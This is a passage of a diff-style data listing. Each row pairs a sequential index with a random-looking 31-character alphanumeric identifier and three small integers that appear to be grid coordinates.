+12679,3RK2AY0X1LF6QBKJELLD8GFR7HWY4B2=,199,0,6 +12680,HENQ9MSD1SGYN9P6RB8NR1XNE7HQETW=,199,0,7 +12681,VMLYBA49EOARGJ6H2ULAYYW1DSYN9TR=,199,1,0 +12682,27IXO459V5JDTKWKPU5HS5SIM7Y9PKH=,199,1,1 +12683,BPGSOCMTOYPG999NY541KF3CXPFCKBQ=,199,1,2 +12684,W8ISXMWVXWMOOWFNT7H6BSKGGJ3HU8U=,199,1,3 +12685,LU8GVP9EV2NTC3PH707PKS1WL1906CI=,199,1,4 +12686,HY52BS0WF0TITDG2X9E3V8OV323ML98=,199,1,5 +12687,XP8WOK4OT18XUTHH3C3FV981FQUFEDL=,199,1,6 +12688,FQ663YPLRKXR7OJ9MOY4CEXBVK5JN6Z=,199,1,7 +12689,ZHJCRPIIOTFELRUWN7UKTTX95ZZGHMH=,199,2,0 +12690,75FPH1380WGJWUSBFZ9XOL2QIU621PQ=,199,2,1 +12691,0XFACSOW847EI48OVB2L1EHKLAZK27C=,199,2,2 +12692,5QN9ETGSM37FTOXQIS817ONKTFYTYRU=,199,2,3 +12693,2C0E9T8MW3NY2EK2QOFP2DSBH5B9LA3=,199,2,4 +12694,2A2PB428R5YI420A3A0BNEVMKP3330G=,199,2,5 +12695,XFOP5XFZ8ETM32OGF12025USWUX1J96=,199,2,6 +12696,REI9BD2AXPOXI4V9RRH945FEIEQIS37=,199,2,7 +12697,EAY8VS6MWOQ57LCJQOI9CFXSGKO3XY4=,199,3,0 +12698,F0ZGCBGAF5L95IBBS7NT62UO9PAPK9I=,199,3,1 +12699,UCPEVHT01KVGVPVNL1CSEVNFYP8LVBP=,199,3,2 +12700,JI8LMNPGN9IUOAVZGN09NWX8Y6G33KA=,199,3,3 +12701,IIJD5XJC3LPBN5FPTOMZTLD3ZBO5XS8=,199,3,4 +12702,729ZZSFD8PLN2B362PFFCDI30379YLF=,199,3,5 +12703,ASJOVX16K2MMCNMHDWYO5ILKEL3X4EU=,199,3,6 +12704,188GGA8O9O5LFJCC1N5W5SQ50H8MW0Q=,199,3,7 +12705,4I33GG56Z43I3RGY741JSEFF66JI7WQ=,199,4,0 +12706,TO26ZHFXRTUN4UTHNH0S3J3EA06VD91=,199,4,1 +12707,LF09BY0O0VKZNI8B7X805G27I2QN5LI=,199,4,2 +12708,II5G7MC0V6T12SF4MH4UAL02DD44K9K=,199,4,3 +12709,AJNF5FB13PBE7WDRRD80GGTGXMK0IND=,199,4,4 +12710,7MXFS5G1HASRCFCPBSG10ESZT892J2T=,199,4,5 +12711,JARFRYCYE1XNEFQY9H9EEXNUU7TOI04=,199,4,6 +12712,GCHSSA56M7K7GN5EU44G2HQIZCFL972=,199,4,7 +12713,KKJJ4XZL0992UKP1FF95CQV57VHNTP0=,199,5,0 +12714,IXFCXC9EU8GLCVRE3A46X2GA80T9IXR=,199,5,1 +12715,KH1XNJYXO2C81FTAVVC5I22ANX2J0E2=,199,5,2 +12716,23Z6VZXP96JTB7DF39SEBGH8JI9TI63=,199,5,3 +12717,5KAJES02JS4X8M2R1G2Q05113MLTM21=,199,5,4 +12718,EV3DUIV2EQPTTTH0FJAPNVCRDMXUHP0=,199,5,5 +12719,FRU94N5VRTPJ3M8DSY74F6FZVEWBJJX=,199,5,6 +12720,09CZHYRA54AMERSV9H82FJDRDK78G80=,199,5,7 +12721,CAD6GRNZF1V5LYURE9HJCLR9Y3FA4NI=,199,6,0 +12722,CYXZTCCLL93Y1F8KPMSSRMA7P3UB2LO=,199,6,1 +12723,4H46JZ04XAB7VRJOBGO370CX0OLQN4S=,199,6,2 +12724,95H12CE04DJV7G4JEMOTK8I12KPIY4B=,199,6,3 +12725,6LBXO63OES5FEDGOTZ87Z00ZQELNZP0=,199,6,4 +12726,DRZ5CVMSIGE5E9JF5JA61P4I9NL459A=,199,6,5 +12727,VYXEYRPVBETZ2BFNPHLXPT7IQV07WE4=,199,6,6 +12728,HERFG5MQ9NXNZBULFV0V62RR8YNPQ4U=,199,6,7 +12729,PC0MI705HJX8N88M8DKRGXE7XJSPU2E=,199,7,0 +12730,85US19YI4GL0UQ03JSOTF1RDOMMOIW5=,199,7,1 +12731,MT0YUSQ8GSB0UCSOSPMLTCETH0L513D=,199,7,2 +12732,LOYCS2HHSBX8MT3S9F2YJ08WBB11CIU=,199,7,3 +12733,3SJWF9MNFKLUCTR26ZGSUILV7ILHVMB=,199,7,4 +12734,KHOZKPQVPUJ6DQ9N9JBO4TPSQ9SWN50=,199,7,5 +12735,342PE9GFOEEKA5KW6EDJO1QSPGWHEQ8=,199,7,6 +12736,FVIL3X2AI7N9B1KHN2LM8K5WLK7K7U4=,199,7,7 +12737,WZLTIMZJAKL8ZGHJYIKOGI5V2QL2JGB=,200,0,0 +12738,8C2IR8PMS0JARDZT8XTDL0Z5N94YNV6=,200,0,1 +12739,XFTRQVGGE07S059YQWIAC1FNOR8DT3Z=,200,0,2 +12740,7H65C6CA1FEBYDWRCYOTFJS6QD7JAHY=,200,0,3 +12741,8WCDC0XW1BQDNSEASC03VKFKNLL91MB=,200,0,4 +12742,KXZVUUV6UJB68VWCGYSUUVNQSYWHYNZ=,200,0,5 +12743,J9DJHVS4KWBZP99562V8YPAMIBFT02X=,200,0,6 +12744,K80E66WN7YFSFYUFND0Q2F6WC5M9KWD=,200,0,7 +12745,YBA8ST1JJLV8ENXB4JY0CD8CK4BBYHY=,200,1,0 +12746,HT1Z6L248RBRZ1YENLINLM3U9N9R4W4=,200,1,1 +12747,3LK0EYX88591PZIAW6HHXY72XNZ2P3N=,200,1,2 +12748,L7VXKT4LFZZPROWZQ1XSIPJBSKJGBLG=,200,1,3 +12749,VNKXQQSPLB971RNCZ2KH6YY7A902DZQ=,200,1,4 +12751,QJCM7QBI6HH7VFEX3INC4XHK086JRE1=,200,1,6 +12752,7EOVF7NAVZ6R18UF1NN4RJT82QU6IBG=,200,1,7 +12753,RY1GN7P9JIJKX2O7GEFNBUQVFQXPQPB=,200,2,0 +12754,GB3XZFMOBOTWXZU715MZGEQXJ1EO5YV=,200,2,1 +12755,Y2CK5DRQEL0SE80NUIFIX8P5DRR86C5=,200,2,2 +12756,YB2T77HTZ2IHM9DQX5013BFYRP8B6XF=,200,2,3 +12757,TARE51AJ5WOXCDY0VU9PA1DQ72BUC22=,200,2,4 +12758,X7701D64H6PUZR0RJ4OT410H6HQCZHY=,200,2,5 +12759,43AWNU5N8M80MSZQEKWLHL47GMOJUB8=,200,2,6 +12760,ZVUMGV4N80DS2TOC3W1QI6H999UFLNY=,200,2,7 +12761,7J6LVCDTM0OC68M4UDNLK5T5AF4CY2X=,200,3,0 +12762,X06ZCDCYS27MT7AZJYD7ABOY1RZV5G2=,200,3,1 +12763,E4OQRPVBG378JLA9D0EEPJLJ4NGOD4I=,200,3,2 +12764,7ANTQ6XVDUNHIOGATJF0NMSJP0RVR04=,200,3,3 +12765,F5WTRZKX0EZEBNWALR0LB4NTI8MWSEH=,200,3,4 +12766,JJMZT0EM0DQ6Q3JWDRSGCD9PASBJU79=,200,3,5 +12767,GLMHJXU5HESU5IKUPER568ZJF38V10F=,200,3,6 +12768,64V52E97AIKXSWDFQZX7PHTQUKAQ8BU=,200,3,7 +12769,0URW3P22Z6DOAOMX9TA0U8SOORLMEV6=,200,4,0 +12770,X6QLCKVBV8EAFCJMIVA4G882JP6O51B=,200,4,1 +12771,FNPVDSFMYKEN0AZJQEXUHLL9JB30ONQ=,200,4,2 +12772,FB2HOH9DQCLUBU784ZV9NCVCXB2LO2M=,200,4,3 +12773,N7P4KI7PXOYG20AUKDEQGWEG8M8XJPB=,200,4,4 +12774,PF3FOQXEA6UL6O6C5UIS8A9YX80L9PP=,200,4,5 +12775,3G67C9M2F5WIZMQPBXQ7WG7I6T8W582=,200,4,6 +12776,9GWKF6PTPCRWTKAN6OU4957QK1XEQVK=,200,4,7 +12777,CA1JAUEMDG29Y1G17R983F0PKUPIFRB=,200,5,0 +12778,DRBF5M2O25AHIV6AZ3A9EXF9W4MMMBQ=,200,5,1 +12779,IHIA1NRVBY5N627PXXCTDGLK4VAZXRR=,200,5,2 +12780,0GEIJN9OLN04Q0SAU63NNUXXAW19BCU=,200,5,3 +12781,K08FFXJ7TZC8XXU4ZR7Z8KQ23D0URZ6=,200,5,4 +12782,JRR6OGJYE10OIUZUASFRXA2ONP0GASS=,200,5,5 +12783,CN6A60KUQGH9ONLAK0ED9GYN2WIPQKT=,200,5,6 +12784,MED4FWK0ABTAL1P1M89DBZTAI6APZ3I=,200,5,7 +12785,85RUFAB2668XVTNW3IJY0CDEVCFFNG6=,200,6,0 +12786,ZR6U0XS673SMN853LOUAP272ABOT4Q6=,200,6,1 +12787,TTI6RTGAP4OCB3G6PYTH7EIMMZQ01XK=,200,6,2 +12788,FEL1ZWEAI9QEL3XW2FOBRKCSLVKNWL1=,200,6,3 +12789,7K0A1T0MHAEIDLWKABSNNP2K00FZ3S0=,200,6,4 +12790,EOJFA9JPPMLKAEHLLR2ITSLDJE60UD9=,200,6,5 +12791,5DVO8K4E653U819VELTLTCHDL6U756H=,200,6,6 +12792,NBQB1Z7HDOY1NX00IYOVAE401L93LJA=,200,6,7 +12793,FE5WXJTW5KS0TJ6S3Q9WLNQW3TNESBH=,200,7,0 +12794,1PKZXS8WGVRZVUAPW1LUDI6TZ0QQZXK=,200,7,1 +12795,A51HT3T86UW5LXQRJTYSCC99WODMW8I=,200,7,2 +12796,RWXZLYKX2N8GG9SJTRESDQONSLXP4T1=,200,7,3 +12798,Z8C95STW62SBDX9ZPW93IIYAQ3D0CSV=,200,7,5 +12799,AV104XVFFGD9SGXJT2ZATU4D6788WMN=,200,7,6 +12800,6F7DEXLL2SY2TZ9XOLTPFL24AL2HRFR=,200,7,7 +12801,YQHJNURKZON6N93YRMJZYV6B3PRS0A0=,201,0,0 +12802,6P9OZ2DZQZHRTKFD362Z2ZP74020QQF=,201,0,1 +12803,NUB1B14AGBGIQ5C4GOA6JVUGOROG4OL=,201,0,2 +12804,1O0CPZ7PAEYRT9LLLUNDKW0VJ2ELKI8=,201,0,3 +12805,MDQVU8LLIS5NQ7PVXEEXQH35PFN8N1K=,201,0,4 +12806,M71EDMMY4DHGXH1TEIFKZCKXFTJP3BR=,201,0,5 +12807,OHT9PVNQSJ8414GC5B0B9R8TNWVJDGU=,201,0,6 +12808,XUKQJUNAXPPO2OPTPFOWIQNR6F0OM0C=,201,0,7 +12809,8SCVSQPOS60T7VFG9PK8QLYYKCO95I6=,201,1,0 +12810,7L93WBNQ4S28YJV808ESI8N31R2ZJ8J=,201,1,1 +12811,SFRN0376UJ387LOZEFCJFP2M0KBYBEC=,201,1,2 +12812,6T4Z1WI333IU95GRU6LRNUWHY00N4QE=,201,1,3 +12813,YRCBTLPUCBK2DLHHXOIW3KDOXBGJXXK=,201,1,4 +12814,AW6JSP5IE17IUL3YBEUB0VHQH99IW19=,201,1,5 +12816,SL7CWFMEUC9BDAYBHAOKZAAG2G3IW4S=,201,1,7 +12817,07HYDVFVZWEPSANJPUJRMKSNRX2AS33=,201,2,0 +12818,QKVEPUV6JMI1NTAPRZSLR4HOIQK2T30=,201,2,1 +12819,MIXFXKE178G7EOK0UM4XQOP951YAKMQ=,201,2,2 +12820,WL0Z9NZADMW3QCYS9YRJ87CHWZKXD5U=,201,2,3 +12821,GYG9G9OGKEDLBC9IZRVZ7067K9S1VDO=,201,2,4 +12822,O7ZT46FEH6NU9YDNQWZEJXD5YALX5VF=,201,2,5 +12823,03RURVD6TIND4WDF7WGVLF7F47ZPX0A=,201,2,6 +12824,L6AU26Q1JY67DRSMDUAL3TBX7EBHSHM=,201,2,7 +12825,A5IHB0750N9VE2L6YQSEYNZ7KRI6TQC=,201,3,0 +12826,GFDPUAF1JLAH7VKCOMQ1QZE60UJWU73=,201,3,1 +12827,Q6H2JB020E0SPJE5B8FB9EUHO1QVZ6H=,201,3,2 +12828,B0GED2MTU6ABJ8DZORQPCKGJRLD55HK=,201,3,3 +12829,MA2NI72T66X93X305F7WW8R4H7XBSNR=,201,3,4 +12830,7BXZNZDK9CFJIETLT8ZC2I6WF88FS3L=,201,3,5 +12831,K1WP3B3DBIK7NPWHW2JWSSZW8W6EIBS=,201,3,6 +12832,C79HHZ7OW48GILFO1VSUDP2SX7LTE87=,201,3,7 +12833,UL3N3356FGJUWXMRZZEEKTXBBIE4WTL=,201,4,0 +12834,9J5Q7YY0189SKAR6ZA8MIS38I07T5FS=,201,4,1 +12835,XBZBWM38DI18ADMLO8DFUDMW97L578K=,201,4,2 +12836,JMEKOYCCAX84MORY7G78TNP8FUXS053=,201,4,3 +12837,2QRCAXYK9X3PDE1Q5PS1EINHNRBS4AS=,201,4,4 +12838,MPBJTX1NB61TLMVULLXKCN0KW5KQYGP=,201,4,5 +12840,RQPOE2H5XGLEJN36SWY8W1JNXJ3AZSL=,201,4,7 +12841,X1MZCGOP1LNM0POJUSWZVUBAQ4DODI3=,201,5,0 +12842,XWJO5JU1LY3QFYEZWEGTTUIKEAU8VP7=,201,5,1 +12843,HATIVG5DC9WMLFYQUXJ52IQRRQBZ4QW=,201,5,2 +12844,2AUWJAM9QL0VYYGJ0F042QE5MF50OA9=,201,5,3 +12845,WJ9KFOGP35HNJC8AGGM75EQWNZYSKDS=,201,5,4 +12846,CL0K3HCR8GFJTQMX9OELMVGHIL1VWMC=,201,5,5 +12847,XLCLFX0U75ZEUC4CVS2BZYVRH41KC37=,201,5,6 +12848,OR6D8TITSM76KN3WTPMEJVJ40KIWE6E=,201,5,7 +12849,ELE428239DR7OQ3WTRZT9QQ4WW8CCIC=,201,6,0 +12850,EX5BFH9J1K4BKNO6YEBT49SX6NH31MK=,201,6,1 +12851,CTYNF32G1FWVZTN4AULJA7YWUZDNMML=,201,6,2 +12852,OBKGCCFUQADXOX4PPKL6P29RPQ9Q7YU=,201,6,3 +12853,DMHQTWWAS1FC4A7Z3U1FOIZWSTXMIN8=,201,6,4 +12854,0A23OMB8X3V88997S39EWU99A590DCB=,201,6,5 +12855,KKH57KHUOXY40E7UUFQGTCVL7NU0W7I=,201,6,6 +12856,8Q3T42QIXH7G9KE6UE26P2S7XAG7WEX=,201,6,7 +12857,GRGY2IXKVBGO9KJSOQF3HAB5EIJ1S7H=,201,7,0 +12858,6HIBD0RY7N3KT4NZHYOJITGEOMSENNC=,201,7,1 +12859,XJ8OPIA4AKC5UZQMQPE6RSO4TXJHQN0=,201,7,2 +12860,9U35PL5O4VZNG05FWGLM2M06OK8N5PT=,201,7,3 +12861,C0DJPXTLQH3ZKA73K5FLYCB1415ZEOZ=,201,7,4 +12862,7ZHURWE3TWV6DPF8887GKKARPZ8LUFO=,201,7,5 +12863,L0IGZKDEBC303EMJV2CAPE9HY08ZDS9=,201,7,6 +12864,UCQ3YOD08M8K5UBT8M017AU7XR7ITLG=,201,7,7 +12865,Q416JYSE4F8DOLA5BLROS7FXZRPCK2G=,202,0,0 +12866,PKE19GUHP85PSVVPLHYMNVL7GYNZULP=,202,0,1 +12867,Q9D90GDCW4NRG9NJW84Y5YDOCB36XA9=,202,0,2 +12868,1CXHFT3VXC512SJZA7MMTX44OROUOQ4=,202,0,3 +12869,XBCIFTOO2H3ATICBZNIETP7CXBSAQY0=,202,0,4 +12870,IFZIG4QR4ETJP8RVXZ3VK3SX2ZVW1K7=,202,0,5 +12871,YBCMC91L5I2XLA0HMKA1FCCMCV2EWF7=,202,0,6 +12872,2NCAISVUGAIBAS4E4MXLCIXX6KE1W35=,202,0,7 +12873,ZT5FHR7P1MDFENNINKAVNHSAT1638YU=,202,1,0 +12874,DEFWZ2B81N9KV59KSI4CNIJ5DWVDH8C=,202,1,1 +12875,GY2P1M38PVDR3M5RTYVKGUQ742LQDO2=,202,1,2 +12876,JZGZYX4WCS9R09ECN4IULV3V7EWYNF8=,202,1,3 +12877,JUISPI3134BA9QI4WF92M50C218U5LC=,202,1,4 +12878,4A2LURCZPNV1TA0BDK5LM1I6GQLIN47=,202,1,5 +12880,LJLDJQ70V5G4AKS7NWTJ832I07CRLPA=,202,1,7 +12881,0F0ED89GIZ2KAXR8ESRCMQWYNE18KRT=,202,2,0 +12882,IZ1H4D5ZZOL2NIUKZ2UMSRA99ZRHEYZ=,202,2,1 +12883,1V51M7Z7RR6D5AUEO92VNQ5WXNYIBSV=,202,2,2 +12884,URVGIQX8PQNJWR3I753IJ4SUKY9FMAZ=,202,2,3 +12885,ZTC2BJO8YOKY4GYM83FH0YDI2PDMFZG=,202,2,4 +12886,2FYRVP6SDENMINX1EKGL9GN65SGABRB=,202,2,5 +12887,XQ223CO6FONDNJXTHY8VYNP2V8936DM=,202,2,6 +12888,48PNYL8LIW3FYX8WLUMEBZM55DV1EHN=,202,2,7 +12889,J9NJ24GO5EZ11YNNYNCK126CSWGDJ4D=,202,3,0 +12890,KVPSY4HTZ0TMG1VHO3YZG1CXBXMS8QS=,202,3,1 +12891,BEJ7RXQFTO6F69KRCSWIZBNE0X7JFRI=,202,3,2 +12892,3I2HAZJCJRYPO9CUW3A87GSPCAGIV9M=,202,3,3 +12893,37M0KUXXR34P53I8TZ4QC3KV2R79ZBN=,202,3,4 +12896,I2P7DWUN4F1DINLGI565MSOT2F582FL=,202,3,7 +12897,ER8SV2RFW1CW9WHDRPGKEK5LCNM3OM7=,202,4,0 +12898,F3WMJVHXCXVHC4CUJ55HV5ZIT11NVYG=,202,4,1 +12899,GH46M0ACWAU1ZAF23MVLSB1X9K9OXU0=,202,4,2 +12900,5KA2NU9HMQAKK83DRI9IEJRFSQE8RN4=,202,4,3 +12901,AUF2HRUPC403FUI94JIQENY9EKCKQQD=,202,4,4 +12902,01BKVBOIB1ELK98HBFCQWSDE9ECXIIS=,202,4,5 +12903,UNI1G2BYI8WSAK16DL6JIYOC3MNO6G5=,202,4,6 +12904,I534Q6WZ2FJUC05OIXOSQLBRJ1JH4N3=,202,4,7 +12905,S6ZCZWZ8Z6X1IQWL64RTYT68PQXFWP2=,202,5,0 +12906,7U1H2PHRQGHJCSJ1L2AKHYKR78W7WG2=,202,5,1 +12907,K28G4T6KSJD7N5HHCANU8YCW8JGHJOB=,202,5,2 +12908,CS1HF2RU9XWSC8JJ0ZG36933X4T9D7O=,202,5,3 +12909,NB38P6RB21H75EHAP7EL8UL55L0XDNB=,202,5,4 +12910,8JL5DJ8YLIQE7U3PXNKO22J585GJBNV=,202,5,5 +12911,FJDW36EWTXKZIS1RQ3UVJCMKO2HQXTA=,202,5,6 +12912,KOOZLY19J9ZBP06Q5IR5JAYH4T38CL5=,202,5,7 +12913,0ZIFQQI72VQHYT6GMFVD82U30ZMGT1V=,202,6,0 +12914,WAK2W18JTR53N90OAOE1S8CH8YR604X=,202,6,1 +12915,MGWFZYNHTA7BC7QDQBZBAKRA3HB1J6S=,202,6,2 +12916,V2BG7KJVQO20E8DSPYI2WG7SBTG1C5U=,202,6,3 +12917,KBX6OOS6AM0LV4MV74XXTDSX2JGBCH1=,202,6,4 +12918,GT7BSRWCJ4DNS3ASAPK0F06SCEG78QF=,202,6,5 +12919,KMWRH446WWOSW8MNZQ20R0PBIH0CUSQ=,202,6,6 +12920,VJNKZX2UZW7VKK6TJRT0QSAZXFQHJGL=,202,6,7 +12921,ENAF492M8OP5KI68I8JN3ABH08BTTQ9=,202,7,0 +12922,KT432YH650O71J1XVHXTP5OW05WBTUV=,202,7,1 +12923,5ARK9G4LSW5QJU0G04BQF9X299Y1AY0=,202,7,2 +12924,TQSPR3JXFJQH0YTWIDFK5KRJZYL1E21=,202,7,3 +12925,LDG1EPBLD9F1MVRQ6M2PTV4UGKW9V3H=,202,7,4 +12926,BIC9ZD72VNC96014XD72V8VNQPNS8U5=,202,7,5 +12927,AG6HTL0L7V18VDC23P7Q83RYP2XQQGK=,202,7,6 +12928,89OIKDTKDZ2AJAKJIP0TYMU4J6OS1CV=,202,7,7 +12929,H6LBB36DP2RKUHJOFVG4IR2QP19DBA9=,203,0,0 +12930,82JXFPEM6TEJFA7CDZ4E8UUNB7CWW7J=,203,0,1 +12931,6L3XH8XT7I566PEXZNZ28B2HHD5U48W=,203,0,2 +12932,52JRY6KC3J8YX890QWA2UK8GRMZN7PD=,203,0,3 +12933,HHTJTLPG96JITWRBXNRWFJZJR53HIOY=,203,0,4 +12934,67LIWNWOWVCSSHKOY4TE8ZDM7QSQG37=,203,0,5 +12935,S8ZHXT0BEKUG103XFPCWWA9E3U43YCR=,203,0,6 +12936,RIES0ZWHM97W8J9AWOEVSJORNHPHMNI=,203,0,7 +12937,LFSQXHJE2Y46PJH28R06THJIB3NARSW=,203,1,0 +12938,1Z67868308VKQOI3OGMIHC6CK6NK6IY=,203,1,1 +12939,8R82BNKVEEISWDA8E4SW0C628W9ZIPR=,203,1,2 +12940,X6QUHDTDE9A4X5PEQ92J9WQY5PYLOPA=,203,1,3 +12941,JNTS7F43E6L806TGY4ZIA29148XNSGH=,203,1,4 +12943,F9L58AC61XCN6EVPOGYFHX97CBWDA0H=,203,1,6 +12944,410IJDZCUTUWQAMZ3AY87A9OM1QQ0F7=,203,1,7 +12945,AFRS4ML3AX0IHUYD90BB4CB5YD0DOH7=,203,2,0 +12946,WYYO11UQM1AB78QDINZY5LEZINLE38X=,203,2,1 +12947,S5D65PICQOMVPTG5FBP9S25WPC76JD2=,203,2,2 +12948,1VIKM0OGBX54CZLO193KWJSJD9TM7RF=,203,2,3 +12949,48HQXBA50FRRVVQBLDGOJFCGA57O16C=,203,2,4 +12950,9X5QWPOG5B4C8ADSKVG7ZEEF8UKVVL8=,203,2,5 +12951,OBRSZ8YISCSI1UDT8QJ2C2GCKM39HZE=,203,2,6 +12952,DIIVI3CT28W6HXOH4Q5PGLO18NHSKHQ=,203,2,7 +12953,QUIUVZTPV1LLRERPLFZP0PJ9Q62HESO=,203,3,0 +12954,6RZEGN9OER1JTCNNHCTOWU0DC82F3F2=,203,3,1 +12955,VTTJ1AE18OA9OCI3DF7ALX89WLPK1D1=,203,3,2 +12956,A3I4YXWSI6L2QKWYU55T4GXYV9L3BJP=,203,3,3 +12957,CMTEK99589PGB1O1KIBL7CO1NZ0BLP4=,203,3,4 +12958,CJIK5E7O7LR8S05O5OZRQRMV3FGRJY8=,203,3,5 +12959,F5VMSC705CL7GWZJO0G1JBEL0Q5M7KM=,203,3,6 +12960,5GC6DQ6KWQFJYUAZJUCIY1BQUOB5AZC=,203,3,7 +12961,TS9Q3UMIX5MUMT3DE8B0YNK6BK7TCZA=,203,4,0 +12962,RBIJL4KZQNIFE6NA2K3IEZ2X1LES7HN=,203,4,1 +12963,4LCUICWTSJJJ12PB98FU93XAG85TBXY=,203,4,2 +12964,CRR1RX0KDTTQYLJTAJTPKZ2ZOCGSBCQ=,203,4,3 +12965,114A3LP7318JDF5QANSVJ9TBHK2T75G=,203,4,4 +12966,XZ7835Y2DKMVPFB3B3JUNLN1KRISMSM=,203,4,5 +12967,CZ10HFX6PNY84SY0KW7AGS4JIED3J0D=,203,4,6 +12968,EALS4TQ6UN70J4L6GGD9ULUGQOI427G=,203,4,7 +12969,DFADXXG5SMZW6P2DLNU0FY22TGK7O7F=,203,5,0 +12970,SR60IJMB7HTGUK2J4R6ESF4VTNTD02K=,203,5,1 +12971,QEV8ZEJ6NNM2WCZH0B4WUQG2TK5B6GH=,203,5,2 +12972,Y8ARLPMMMADPVJMBQXNR9C3MS6Z70YB=,203,5,3 +12973,AJZZW6HQYF7TS7W6VNKL42W6MAAMXXC=,203,5,4 +12974,R8UXRIJ2CUUBW8YGQLADHLCM07LSW0G=,203,5,5 +12975,791XWBMYZWI8HORM15OW83PCD64I21D=,203,5,6 +12976,LJES18ZWHW2I5D2Q76QLK7LC3RHJDJX=,203,5,7 +12977,N8H4XKOCF0M1WETA6TGTLK3E528LX9X=,203,6,0 +12978,7SDJG3IDYPNLVMA1QPWEO3YR5O4NZAK=,203,6,1 +12979,AL9FDB9ZR9K1OJM9542KABYM56466H0=,203,6,2 +12980,JZFXIKEJFIS1RXM1VTT5EOAOXB936U7=,203,6,3 +12981,930LYZB4K5WV056FG28XNIYK2OGEE64=,203,6,4 +12982,1BSHUPS8GQEML93QAZ5TN1ZSYLMYM47=,203,6,5 +12983,WMO1P87M4DGLL8EYZLAM8XJ64WEAQNB=,203,6,6 +12984,IIAH6ZELLZJQ9IUENXNO4M7B9EIJS26=,203,6,7 +12985,E4FXWYEM0GEVOUCGHGGCEYMD8G4EJEY=,203,7,0 +12986,CNEACOOEH3KD3T14ICMV56ARMRM73EL=,203,7,1 +12987,HEHMW2U60BHTJ0CJKLN97TJ2M2QUC4T=,203,7,2 +12988,OZ4LTV5Z8EIDPZGUMYEDC73HLJ6ULJA=,203,7,3 +12989,O06UWR4B6K41K8M5B7ZQ9HOWM6JX1U8=,203,7,4 +12990,3S7TGZ00ELADU9EJ591MT4I5IHDVDXS=,203,7,5 +12991,9Y00W85L2TXI9203L5V15HGCK0Z85DQ=,203,7,6 +12992,VWPSBM1MUS3K0IVMCQNQTM2IJETX47H=,203,7,7 +12993,L9BJ75AXIVXXP5NKNL1CMULZSI5E6OW=,204,0,0 +12994,TQ2NN1H2Z8TNREH5QSTWJFEI2YCG783=,204,0,1 +12995,AC8A6SUD4H7UAIIEODT4WPFCAUM0GHV=,204,0,2 +12996,L6LMSSSD0DB1TRNLZB40G4EISBJQDKU=,204,0,3 +12997,YU1FTWMJOATG2CJH4L5M4QKDW4P9LML=,204,0,4 +12998,P7KC9Q3OIB9ELE29FMVMU4W3LUS6LE2=,204,0,5 +12999,BXNKFCL2T3PQ363YYUO4XUMWKFWNKE1=,204,0,6 +13000,B7QXUF5LVZPGX7F8QIC4IRCNRSL9M6E=,204,0,7 +13001,I8SJGM1VNYACOIYI7BUSJY1EH52K3WM=,204,1,0 +13002,2327KJBE4N0XPM6MLH09BDUT5OKUNSU=,204,1,1 +13003,46L8LE61WJE00ZY9PJR860BC968HV27=,204,1,2 +13004,POA2I8WS06DKDWE3K56RADSEG7LM3BI=,204,1,3 +13005,513O2KQ53KZGFXIN380QO9J83PHV07H=,204,1,4 +13006,IADYC98X2M1VNLACS3NRDJPT81TXK2J=,204,1,5 +13008,95GJ45JDORO4449NGC7FXJWN5UL7UXW=,204,1,7 +13009,K42R923RSI81EGIRAX83HSH3WB3Z8AA=,204,2,0 +13010,F34H3BZBDNNP0KQ4QUCKE2GUFP4THLP=,204,2,1 +13011,CLILLI65VY7UF3KS40MLYTIIZHBC1DG=,204,2,2 +13012,JDXRA6W45MQ2FKYASRP4UI6F1WSEV0Z=,204,2,3 +13013,D0RHO2UKNQIIHHSMBE2ZQN6TU8KCWQY=,204,2,4 +13014,S4GNOMEZRXMAWYNJQUVDUYY6QLWEOAI=,204,2,5 +13015,ZHZ6WUW9BO4N57NMLO11PT9BSSDWB6O=,204,2,6 +13016,LWH36JT6GQMEATSW5HY34BH3KDH24XU=,204,2,7 +13017,DMWNJ1PQWR0YKJZ7BMSCCRWER9NQ9P4=,204,3,0 +13018,UJ52OSJO7PHA0Y0DISGLZ8EPDNTYEZG=,204,3,1 +13019,3VVCAWLJSEPGJQDMGW0ENZNCM1QXIXP=,204,3,2 +13020,FUMU96IOV8WTWVYMF6QXXR1JK0JRP24=,204,3,3 +13021,CW6GOD8GWJ7DEBB3DOE85ZYZOW1ZO40=,204,3,4 +13022,IP0P9TVMGHHV5HV0QYUO6MIP4OO4HER=,204,3,5 +13023,NKOAHKPX1UHW9IIEDVDXGUTZTSKPP23=,204,3,6 +13024,G2YQNUG18VF7AOA6KQGMBOV8TR03XUI=,204,3,7 +13025,KRHIP05MDJ690CFHJVZE0BOLY6OM2NS=,204,4,0 +13026,WL1Z91UR9IGMNOOKKUGVCVOFL55F04M=,204,4,1 +13027,D31AFYBVJ5S61EWXB78CGAP0DBS65EG=,204,4,2 +13028,5LW9LPYZ8CL0WV7GB4JG6OL0EIXOV1A=,204,4,3 +13029,UKMV8U2W36WQ5T3NN7RJ4E0R0NT1Q9C=,204,4,4 +13030,OANWNT3K0FC0J959X1ZIXRBVUUXMW03=,204,4,5 +13031,Z599ZZIT3M92RWGHYFUPWGI5SS1H508=,204,4,6 +13032,MODACQJTKKHZ4LDHPWI4GBYZJKWNGU6=,204,4,7 +13033,SUXOFO8B3EKIPTIORWKXNHE6PMMNLLV=,204,5,0 +13034,8H97UEG7UDSD2G6MSC1QEB2AXZ46QZR=,204,5,1 +13035,QTDOWCH2DJ6RZDCOBG7MOFW5DSGX6N9=,204,5,2 +13036,M0NQ8Q0YCZSUOBNFM91NKDI0KD4R00I=,204,5,3 +13037,BWIIWCQNRBNGFC4ZIRO4VZVICZNJE01=,204,5,4 +13038,QWDSHKOU2NL48SZ79NBDT5X4L4VQSZQ=,204,5,5 +13039,O0GKP2X1XW14OLRYN3MWJ6TC0BVTMIA=,204,5,6 +13040,I29KP9IWLPTFNV21KYYYL2PKJ9HPP9R=,204,5,7 +13041,HH7IW7QWMOGWCCBVS57OCWDNYZJJ9RC=,204,6,0 +13042,TDR1FWTC80UBQYKTPL0FWQV4Q0OE3M7=,204,6,1 +13043,AOEBC7QUOM8DH5QD3P5T1AS3HUQVAH5=,204,6,2 +13044,XRDT5BGU336FNNIPD9JRXAW7J4KI1W5=,204,6,3 +13045,3BX6JY79UC5G79XGF5YPXBYOGLSA326=,204,6,4 +13046,WQWKRXUNOF3JVNSZR9A75JQ3A5I2IIH=,204,6,5 +13048,AOYKICIID4E4ZLMQ5Z1E5UU18E01AKG=,204,6,7 +13049,5GV57JL9ZTDXMLROKMGJIX02PNBBYU7=,204,7,0 +13050,JWLQLRUZN0R1XBF07LBLQARH024NHMT=,204,7,1 